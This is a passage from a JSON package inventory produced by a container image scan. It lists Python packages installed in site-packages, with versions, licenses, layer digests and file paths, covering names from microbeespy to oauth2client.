"pkg:pypi/microbeespy@0.3.5", "UID": "8451a6723bf505b7" }, "Version": "0.3.5", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/microBeesPy-0.3.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "mill_local", "Identifier": { "PURL": "pkg:pypi/mill-local@0.5.0", "UID": "f4511aaa82532a3" }, "Version": "0.5.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/mill_local-0.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "millheater", "Identifier": { "PURL": "pkg:pypi/millheater@0.14.1", "UID": "74ae652f603409ee" }, "Version": "0.14.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/millheater-0.14.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "miniaudio", "Identifier": { "PURL": "pkg:pypi/miniaudio@1.71", "UID": "1730ac949c8f557a" }, "Version": "1.71", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/miniaudio-1.71.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "minio", "Identifier": { "PURL": "pkg:pypi/minio@7.1.12", "UID": "35dfafea774fd5a3" }, "Version": "7.1.12", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/minio-7.1.12.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "mitsubishi-comfort", "Identifier": { "PURL": "pkg:pypi/mitsubishi-comfort@0.3.2", "UID": "2b913543f83a783d" }, "Version": "0.3.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/mitsubishi_comfort-0.3.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "moat-ble", "Identifier": { "PURL": "pkg:pypi/moat-ble@0.1.1", "UID": "208b3fbc6e7c14c0" }, "Version": "0.1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/moat_ble-0.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "moehlenhoff-alpha2", "Identifier": { "PURL": "pkg:pypi/moehlenhoff-alpha2@1.4.0", "UID": "34656e83f3cb3641" }, "Version": "1.4.0", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/moehlenhoff_alpha2-1.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "momonga", "Identifier": { "PURL": "pkg:pypi/momonga@0.3.0", "UID": "45a30d3694b7ff0c" }, "Version": "0.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/momonga-0.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "monarchmoneycommunity", "Identifier": { "PURL": "pkg:pypi/monarchmoneycommunity@1.3.0", "UID": "87065cd8699c1d8b" }, "Version": "1.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/monarchmoneycommunity-1.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "monzopy", "Identifier": { "PURL": "pkg:pypi/monzopy@1.5.1", "UID": "13fe5aa7813c0057" }, "Version": "1.5.1", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/monzopy-1.5.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "mopeka-iot-ble", "Identifier": { "PURL": "pkg:pypi/mopeka-iot-ble@0.8.0", "UID": "705d4c2f66e9703b" }, "Version": "0.8.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/mopeka_iot_ble-0.8.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "more-itertools", "Identifier": { "PURL": "pkg:pypi/more-itertools@10.8.0", "UID": "7d7936395f2dc3b7" }, "Version": "10.8.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/setuptools/_vendor/more_itertools-10.8.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "more-itertools", "Identifier": { "PURL": "pkg:pypi/more-itertools@11.1.0", "UID": "2e7216b714fa6dc5" }, "Version": "11.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/more_itertools-11.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "motionblinds", "Identifier": { "PURL": "pkg:pypi/motionblinds@0.6.30", "UID": "9c87bc0bb7b15a67" }, "Version": "0.6.30", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/motionblinds-0.6.30.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "motionblindsble", "Identifier": { "PURL": "pkg:pypi/motionblindsble@0.1.3", "UID": "5471152ea92c9784" }, "Version": "0.1.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/motionblindsble-0.1.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "motioneye-client", "Identifier": { "PURL": "pkg:pypi/motioneye-client@0.3.14", "UID": "46e0c489786cc31" }, "Version": "0.3.14", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/motioneye_client-0.3.14.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "mozart_api", "Identifier": { "PURL": "pkg:pypi/mozart-api@6.2.0.44.0", "UID": "d432d461932b9fdb" }, "Version": "6.2.0.44.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/mozart_api-6.2.0.44.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ms-cv", "Identifier": { "PURL": "pkg:pypi/ms-cv@0.1.1", "UID": "a621b11b0d0896bb" }, "Version": "0.1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ms_cv-0.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "msal", "Identifier": { "PURL": "pkg:pypi/msal@1.37.0", "UID": "f2445590ad751057" }, "Version": "1.37.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/msal-1.37.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "msal-extensions", "Identifier": { "PURL": "pkg:pypi/msal-extensions@1.3.1", "UID": "24de1c3dfc06c013" }, "Version": "1.3.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/msal_extensions-1.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "msgpack", "Identifier": { "PURL": "pkg:pypi/msgpack@1.2.1", "UID": "2e05be203e307fd3" }, "Version": "1.2.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/msgpack-1.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "mt-940", "Identifier": { "PURL": "pkg:pypi/mt-940@5.0.0", "UID": "9bae569649505b8f" }, "Version": "5.0.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/mt_940-5.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "mullvad-api", "Identifier": { "PURL": "pkg:pypi/mullvad-api@1.0.0", "UID": "764eab3563d6d4b9" }, "Version": "1.0.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/mullvad_api-1.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "multidict", "Identifier": { "PURL": "pkg:pypi/multidict@6.7.1", "UID": "2f80d73851e4896" }, "Version": "6.7.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/multidict-6.7.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "munch", "Identifier": { "PURL": "pkg:pypi/munch@4.0.0", "UID": "28cdd0620caa7f53" }, "Version": "4.0.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/munch-4.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "music_assistant_client", "Identifier": { "PURL": "pkg:pypi/music-assistant-client@1.3.6", "UID": "f2af2c735bfe920a" }, "Version": "1.3.6", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/music_assistant_client-1.3.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "music_assistant_models", "Identifier": { "PURL": "pkg:pypi/music-assistant-models@1.1.139", "UID": "d6da9053ab3dd974" }, "Version": "1.1.139", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/music_assistant_models-1.1.139.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "mutagen", "Identifier": { "PURL": "pkg:pypi/mutagen@1.47.0", "UID": "e912a4cd42bf6f1" }, "Version": "1.47.0", "Licenses": [ "GPL-2.0-or-later" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/mutagen-1.47.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "mutesync", "Identifier": { "PURL": "pkg:pypi/mutesync@0.0.1", "UID": "64df320e3c913870" }, "Version": "0.0.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/mutesync-0.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "mvg", "Identifier": { "PURL": "pkg:pypi/mvg@1.4.0", "UID": "24c11ddbf82c1300" }, "Version": "1.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/mvg-1.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "my-test-package", "Identifier": { "PURL": "pkg:pypi/my-test-package@1.0", "UID": "81aa5327a5767ec9" }, "Version": "1.0", "Licenses": [ "UNKNOWN" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pkg_resources/tests/data/my-test-package_unpacked-egg/my_test_package-1.0-py3.7.egg/EGG-INFO/PKG-INFO", "AnalyzedBy": "python-pkg" }, { "Name": "my-test-package", "Identifier": { "PURL": "pkg:pypi/my-test-package@1.0", "UID": "225cd4333f36f786" }, "Version": "1.0", "Licenses": [ "UNKNOWN" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pkg_resources/tests/data/my-test-package_zipped-egg/my_test_package-1.0-py3.7.egg", "AnalyzedBy": "python-egg" }, { "Name": "mypermobil", "Identifier": { "PURL": "pkg:pypi/mypermobil@0.1.8", "UID": "6e82077f26ca274e" }, "Version": "0.1.8", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/mypermobil-0.1.8.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "mypy_extensions", "Identifier": { "PURL": "pkg:pypi/mypy-extensions@1.1.0", "UID": "6134a5826a7bb010" }, "Version": "1.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/mypy_extensions-1.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "mysqlclient", "Identifier": { "PURL": "pkg:pypi/mysqlclient@2.2.8", "UID": "6b91f052b5e6e360" }, "Version": "2.2.8", "Licenses": [ "GPL-2.0-or-later" ], "Layer": { "DiffID": "sha256:2db683111a32c73fe3776d9705685182c70caa7c4d83770e3b000023633e63bd" }, "FilePath": "usr/local/lib/python3.14/site-packages/mysqlclient-2.2.8.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "myuplink", "Identifier": { "PURL": "pkg:pypi/myuplink@0.7.0", "UID": "613883f19b3d1d8c" }, "Version": "0.7.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/myuplink-0.7.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "nad-receiver", "Identifier": { "PURL": "pkg:pypi/nad-receiver@0.3.0", "UID": "7e744e3bb121d6dc" }, "Version": "0.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/nad_receiver-0.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ndms2-client", "Identifier": { "PURL": "pkg:pypi/ndms2-client@0.1.2", "UID": "a0d926ce3882a1e9" }, "Version": "0.1.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ndms2_client-0.1.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "nessclient", "Identifier": { "PURL": "pkg:pypi/nessclient@1.3.1", "UID": "17cb80a796db02ef" }, "Version": "1.3.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/nessclient-1.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "netaddr", "Identifier": { "PURL": "pkg:pypi/netaddr@1.3.0", "UID": "a7a1a4b1e9ed3361" }, "Version": "1.3.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/netaddr-1.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "netdata", "Identifier": { "PURL": "pkg:pypi/netdata@1.3.0", "UID": "15fbfd96f1c87080" }, "Version": "1.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/netdata-1.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "netifaces", "Identifier": { "PURL": "pkg:pypi/netifaces@0.11.0", "UID": "13d49016722fb968" }, "Version": "0.11.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/netifaces-0.11.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "netmap", "Identifier": { "PURL": "pkg:pypi/netmap@0.7.0.2", "UID": "dcb77f62704a297a" }, "Version": "0.7.0.2", "Licenses": [ "GPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/netmap-0.7.0.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "nettigo_air_monitor", "Identifier": { "PURL": "pkg:pypi/nettigo-air-monitor@5.0.0", "UID": "acea423fe6b2bf2e" }, "Version": "5.0.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/nettigo_air_monitor-5.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "neurio", "Identifier": { "PURL": "pkg:pypi/neurio@0.3.1", "UID": "d39ab05d28490965" }, "Version": "0.3.1", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/neurio-0.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "nexia", "Identifier": { "PURL": "pkg:pypi/nexia@2.11.1", "UID": "3e0b94e655a0b4a8" }, "Version": "2.11.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/nexia-2.11.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "nextcloudmonitor", "Identifier": { "PURL": "pkg:pypi/nextcloudmonitor@1.5.1", "UID": "62f0cac8ad6f2805" }, "Version": "1.5.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/nextcloudmonitor-1.5.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "nextcord", "Identifier": { "PURL": "pkg:pypi/nextcord@3.1.0", "UID": "43292ef1247c5e9" }, "Version": "3.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/nextcord-3.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "nextdns", "Identifier": { "PURL": "pkg:pypi/nextdns@5.0.1", "UID": "ecbe38fc873aff34" }, "Version": "5.0.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/nextdns-5.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "nhc", "Identifier": { "PURL": "pkg:pypi/nhc@0.8.0", "UID": "dfb3eb921d3b2a6c" }, "Version": "0.8.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/nhc-0.8.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "nibe", "Identifier": { "PURL": "pkg:pypi/nibe@2.22.0", "UID": "9a376bfa48670aed" }, "Version": "2.22.0", "Licenses": [ "LGPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/nibe-2.22.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "nice-go", "Identifier": { "PURL": "pkg:pypi/nice-go@1.0.1", "UID": "3424bf7710e7ac78" }, "Version": "1.0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/nice_go-1.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "niluclient", "Identifier": { "PURL": "pkg:pypi/niluclient@0.1.2", "UID": "90f91f2a6762bb59" }, "Version": "0.1.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/niluclient-0.1.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "noaa-coops", "Identifier": { "PURL": "pkg:pypi/noaa-coops@0.4.0", "UID": "89e86138425a3047" }, "Version": "0.4.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/noaa_coops-0.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "nodeenv", "Identifier": { "PURL": "pkg:pypi/nodeenv@1.10.0", "UID": "410d5f320fbb41c6" }, "Version": "1.10.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/nodeenv-1.10.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "noiseprotocol", "Identifier": { "PURL": "pkg:pypi/noiseprotocol@0.3.1", "UID": "e768c6ae41b66952" }, "Version": "0.3.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/noiseprotocol-0.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "notifications-android-tv", "Identifier": { "PURL": "pkg:pypi/notifications-android-tv@0.1.5", "UID": "e43e5696d5e66c62" }, "Version": "0.1.5", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/notifications_android_tv-0.1.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "notify-events", "Identifier": { "PURL": "pkg:pypi/notify-events@1.0.4", "UID": "302c76746945593b" }, "Version": "1.0.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/notify_events-1.0.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "nrgkick-api", "Identifier": { "PURL": "pkg:pypi/nrgkick-api@1.7.1", "UID": "b5f1f507bc9c8d3d" }, "Version": "1.7.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/nrgkick_api-1.7.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "nsapi", "Identifier": { "PURL": "pkg:pypi/nsapi@3.1.3", "UID": "90a88fbf35aa42b5" }, "Version": "3.1.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/nsapi-3.1.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "nsw-fuel-api-client", "Identifier": { "PURL": "pkg:pypi/nsw-fuel-api-client@1.1.0", "UID": "b545a6aa197cd8e6" }, "Version": "1.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/nsw_fuel_api_client-1.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "nuheat", "Identifier": { "PURL": "pkg:pypi/nuheat@1.0.1", "UID": "4198553cf2522a1a" }, "Version": "1.0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/nuheat-1.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "num2words", "Identifier": { "PURL": "pkg:pypi/num2words@0.5.14", "UID": "c9c9f50d0b712020" }, "Version": "0.5.14", "Licenses": [ "LGPL-2.1-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/num2words-0.5.14.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "numato-gpio", "Identifier": { "PURL": "pkg:pypi/numato-gpio@0.13.0", "UID": "5fdf623046fbe08b" }, "Version": "0.13.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/numato_gpio-0.13.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "numpy", "Identifier": { "PURL": "pkg:pypi/numpy@2.3.2", "UID": "103088b459a3847b" }, "Version": "2.3.2", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/numpy-2.3.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "nyt_games", "Identifier": { "PURL": "pkg:pypi/nyt-games@0.5.0", "UID": "8804b0593db3d527" }, "Version": "0.5.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/nyt_games-0.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "oasatelematics", "Identifier": { "PURL": "pkg:pypi/oasatelematics@0.4", "UID": "c873fd4cbff28e68" }, "Version": "0.4", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/oasatelematics-0.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "oathtool", "Identifier": { "PURL": "pkg:pypi/oathtool@2.4.0", "UID": "284c72d11acd711e" }, "Version": "2.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/oathtool-2.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "oauth2client", "Identifier": { "PURL": "pkg:pypi/oauth2client@4.1.3", "UID": 